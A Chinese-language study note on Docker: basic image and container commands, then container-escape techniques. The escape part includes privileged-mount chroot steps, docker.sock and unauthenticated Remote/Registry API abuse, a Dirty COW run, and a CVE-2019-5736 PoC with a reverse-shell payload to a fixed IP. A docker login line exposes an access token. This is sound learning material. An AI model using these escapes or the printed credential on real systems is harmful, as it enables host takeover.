前言 因为22招新了解一点关于docker的使用,比我想得要简单许多
docker 基础命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 启动docker systemctl start docker # 关闭docker systemctl stop docker # 重启docker systemctl restart docker # docker设置随服务启动而自启动 systemctl enable docker # 查看docker 版本号信息 docker version docker info
docker 镜像命令 Docker Registry Docker Registry 是用于存储和管理 Docker 镜像的服务。它可以是公共的,也可以是私有的,具体取决于组织或个人的需求。默认使用的镜像库为 Docker Hub
1 2 3 4 5 docker login -u eksclustergames #切换镜像库 Password: dckr_pat_YtncV-R85mAAAAAAAACo docker tag local-image:tag your-dockerhub-username/your-image:tag #标记镜像 docker push your-dockerhub-username/your-image:tag #上传镜像
image管理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 # 搜索开源镜像 docker search redis NAME DESCRIPTION STARS OFFICIAL AUTOMATED redis Redis is an open source key-value store that… 11599 [OK] bitnami/redis Bitnami Redis Docker Image 237 [OK] redislabs/redisinsight RedisInsight - The GUI for Redis 72 redislabs/redisearch Redis With the RedisSearch module pre-loaded… 56 redislabs/rejson RedisJSON - Enhanced JSON data type processi… 50 bitnami/redis-sentinel Bitnami Docker Image for Redis Sentinel 42 [OK] redislabs/redis Clustered in-memory database engine compatib… 35 redislabs/redismod An automated build of redismod - latest Redi… 27 [OK] redis/redis-stack redis-stack installs a Redis server with add… 24 # 限制搜索镜像 docker search --filter=STARS=9000 mysql # 拉取镜像不加tag(版本号) 即拉取docker仓库中 该镜像的最新版本latest 加:tag 则是拉取指定版本 docker pull 镜像名 docker pull 镜像名:tag # 查看自己服务器中docker 镜像列表 docker images REPOSITORY TAG IMAGE ID CREATED SIZE stackoverflow1 latest 1a369ff8523c 23 hours ago 368MB ctftraining/upload latest 6d90e144c982 2 months ago 370MB ctftraining/qwb_2019_supersqli latest 474a1967b7e5 2 months ago 370MB ctftraining/rce1 latest 64239e5a3f11 2 months ago 370MB h1ve-main latest 735f474f81ea 2 months ago 920MB mariadb 10.4 0552982c09ae 3 months ago 404MB redis 4 191c4017dcdd 2 years ago 89.3MB d0g3/h1ve-frp latest 5e0d10177d43 2 years ago 35.1MB # 删除镜像 当前镜像没有被任何容器使用才可以删除 # 删除一个 docker rmi -f 镜像名/镜像ID # 删除多个 其镜像ID或镜像用用空格隔开即可 docker rmi -f 镜像名/镜像ID 镜像名/镜像ID 镜像名/镜像ID # 删除全部镜像 -a 意思为显示全部, -q 意思为只显示ID docker rmi -f $(docker images -aq) # 强制删除镜像 docker image rm 镜像名称/镜像ID
制作image 1 2 3 docker history IMAGEname #会显示镜像的构建历史 docker history --no-trunc #不截断输出 docker save madhuakula/k8s-goat-hidden-in-layers -o hidden.tar #将 Docker 镜像打包成一个可传输的压缩文件(一般用于调查取证)
dockerfile 1 2 3 docker build -t ubuntu-with-vi-dockerfile . # 运行docker build命令,-t将新镜像命名为ubuntu-with-vi-dockerfile,命令末尾的.指明build context为当前目录 Docker默认会从build context中查找Dockerfile文件
docker 容器命令 docker容器管理 docker容器状态查询 1 2 3 4 5 6 7 8 9 # 查看正在运行容器列表 docker ps # 查看所有容器 -----包含正在运行 和已停止的 docker ps -a # Up (运行时间) # Created (已创建,但尚未启动) # Exited (已退出时间) # Restarting (重启时间) # Paused (已暂停)
docker容器状态管理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 docker rename 容器ID/容器名 新容器名 docker container logs 容器ID/容器名 docker stop 容器名/容器ID docker restart 容器ID/容器名 docker start 容器ID/容器名 docker kill 容器ID/容器名 docker rm -f 容器名/容器ID docker rm -f 容器名/容器ID 容器名/容器ID 容器名/容器ID docker rm -f $(docker ps -aq) sudo docker inspect 容器名/容器ID
docker容器内外交互 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # 进入容器方式一 这里咱就进入 前面的 redis001容器 docker exec -it 容器名/容器ID /bin/bash # 退出为exit # 从容器内拷出文件 docker cp 容器ID/名称: 容器内路径 容器外路径 # 从外部 拷贝文件到容器内 docker cp 容器外路径 容器ID/名称: 容器内路径 docker cp /www/runoob ad74b2b4bb42:/var/www/html/ # 挂载 docker run -it -v /root/work/docker:/root/hzbtest tomcat:7.0 /bin/bash 主机目录 容器目录 容器名 # 获取容器的日志 # --tail n:从尾部开始显示n行日志 root@VM-12-3-ubuntu:/# docker logs --tail=1 a30f8ce2b28c 220.196.160.96 - - [19/Feb/2023:08:20:55 +0000] "GET /?1=1 HTTP/1.1" 200 543 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.49" # 注意docker里默认使用协调世界时(世界统一时间),比服务器使用的北京时间慢大概8个小时
docker 利用镜像创建容器 1 2 docker run -d -p "0.0.0.0:pub_port:9999" -h "helloworld" --name="helloworld" helloworld 主机的端口 容器的端口 <容器名称> <镜像名称>
docker-compose docker compose up
docker逃逸 容器与宿主机之间通过Namespace 和Cgroups进行隔离
Namespaces进程命名空间 (PID namespace):每个容器都在自己的 PID 命名空间中运行,容器之间的进程不会互相干扰。比如,容器 A 的进程 ID 可能是 1,而容器 B 的进程 ID 也可以是 1,但它们是不同的进程。网络命名空间 (Network namespace):每个容器都有独立的网络堆栈,包括网络接口、IP 地址和路由表。容器之间的网络通信是隔离的,只有通过明确的桥接或端口映射才能互通。文件系统命名空间 (Mount namespace):每个容器的文件系统视图是独立的,容器内部的文件更改不会影响其他容器。
Cgroup (control group),用于限制、优先级调度和监控容器的资源使用(如 CPU、内存、磁盘 IO 等)。
但是许多危险操作或者漏洞导致攻击者可以从容器里边逃逸到宿主机上。常用的逃逸手法包含四类:危险配置 、危险挂载 、组件漏洞 、内核漏洞
判断当前机器是否为docker容器环境 1 2 3 ls -al / #根目录下存在.dockerenv文件 cat /proc/1/cgroup #存在docker字段则是在docker容器中 cat /proc/1/environ
逃逸手法 危险配置 privileged参数逃逸 privileged是Docker容器的一个选项,用于授予容器内的进程对主机系统的更高权限,容器启动时如果添加了–privileged参数则会具备全部Capabilities ,容器可以访问主机所有device以及具有mount操作的权限。
1 2 3 4 5 cat /proc/self/status |grep Cap #判断当前容器是否通过特权模式起(000000xfffffffff代表为特权模式起) fdisk -l #找到正确的设备路径 mkdir /home/test mount /dev/vda1 /test #将宿主机文件挂载到 /test 目录下 chroot /home/test #chroot改变根目录
其他还有 cap_sys_module特权表示允许加载内核模块,直接新建一个命令执行的模块即可拿到宿主机权限 利用CAP_DAC_READ_SEARCH+CAP_DAC_OVERRIDE特权的应用方法,对宿主机系统中存在的文件进行任意读写 cap_sys_admin权限下也有几种方式可以逃逸,常见的为notify_on_release机制逃逸、重写devices.allow逃逸等
Docker Registry API 18093未授权访问 1 2 3 4 5 6 curl http://10.200.88.6:18093/v2/_catalog # 获取仓库列表 {"repositories":["madhuakula/k8s-goat-users-repo"]} curl http://10.200.88.6:18093/v2/madhuakula/k8s-goat-users-repo/tags/list #获取指定仓库中镜像的tags列表 {"name":"madhuakula/k8s-goat-users-repo","tags":["latest"]}
Docker Remote API 2375未授权访问 Docker remote api本身用于通过请求api来执行docker命令,如果开放对外访问,那么和挂载docker.sock的情形类似
1 2 3 4 5 # 列出容器信息 curl http://<target>:2375/containers/json # 查看容器 docker -H tcp://<target>:2375 ps -a # 后面就是挂载了,就不写了
危险挂载 容器挂载不当导致的逃逸根本原因在于业务需求或使用者图方便把危险目录直接挂载到容器中。
例:使用者将宿主机/var/run/docker.sock文件挂载到容器中,目的是能在容器中也有操作docker的权限,那么可以使用docker在当前容器中运行一个新容器并挂载宿主机根路径
1 2 3 4 5 6 7 8 mount find / -name docker.sock apt-get update apt-get install docker.io #在当前容器内安装docker docker -H unix:///host/var/run/docker.sock info #与 Docker Daemon 之间通信,查看宿主机docker信息 docker -H unix:///host/var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash #在当前容器中运行一个新容器并挂载宿主机根路径 # 宿主机->当前容器->新容器
linux自身的内核漏洞 Dirty Cow 此漏洞是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。
1 2 3 4 5 6 uname -r #查看内核版本 cat /etc/os-release #查看容器操作系统详细信息 uname -a #查看宿主机内核信息 cd /dirtycow-vdso make ./0xdeadbeef 192.168.59.145:6666
Docker CVE CVE-2019-5736 docker-runc 逃逸
1 2 3 4 5 git clone https://github.com/Frichetten/CVE-2019-5736-PoC vi main.gopayload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.172.136/12345 0>&1" CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go chmod 777 main ./main
CVE-2020–15257 container-shim 逃逸
1 2 cat /proc/net/unix | grep 'containerd-shim'